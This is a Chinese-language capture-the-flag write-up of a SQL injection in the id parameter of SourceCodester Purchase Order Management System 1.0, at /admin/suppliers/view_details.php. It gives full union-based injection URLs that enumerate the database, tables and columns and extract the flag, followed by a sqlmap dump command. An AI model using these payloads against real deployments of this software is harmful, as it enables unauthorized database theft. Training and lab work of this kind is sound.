靶标介绍
在SourceCodester采购订单管理系统1.0中发现了一项被分类为关键的漏洞。受影响的是组件GET参数处理器的文件/admin/suppliers/view_details.php中的一个未知函数。对参数id的操纵导致了SQL注入。可以远程发起攻击。
靶标攻克过程
1、打开靶机发现是一个管理系统的登录页面,但根据靶标介绍,这个页面不需要多做停留,直接去/admin/suppliers/view_details.php目录
2、 在一开始的靶标介绍中提到这是get方式传输,且参数为id,所以在/admin/suppliers/view_details.php下尝试sql注入
3、分别使用"id=1 and 1=2 --+" 和"id=1' and 1=2 --+"尝试,发现后者页面无法正常显示,说明存在SQL注入
4、接下来就是基础的SQL注入流程了。首先使用order by来判断字段数。order by 9 开始显示异常,说明字段数是8个
http://eci-2zeifsxhrdej6a4muocd.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1' order by 9 --+
5、使用union查询来判断显示位
http://eci-2zeifsxhrdej6a4muocd.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1' and 1=2 union select 1,2,3,4,5,6,7,8 --+
6、利用显示位获取数据库名称为purchase_order_db
http://eci-2zeifsxhrdej6a4muocd.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1' and 1=2 union select 1,database(),3,4,5,6,7,8 --+
7、 接下去获取表的名称
http://eci-2zeifsxhrdej6a4muocd.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1' and 1=2 union select 1,database(),group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema='purchase_order_db'--+
8、 获取表中字段的名称
http://eci-2zeifsxhrdej6a4muocd.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1' and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_schema='purchase_order_db' and table_name='fllllaaaag'--+
9、获取字段的值即为flag
http://eci-2zeifsxhrdej6a4muocd.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1' and 1=2 union select 1,2,flag,4,5,6,7,8 from fllllaaaag --+
以上是使用HackBar进行手工注入的过程,当然也可以使用sqlmap一把梭哈,省时省力
在kali中使用sqlmap
sqlmap -u "http://eci-2zeifsxhrdej6a4muocd.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" --dump --batch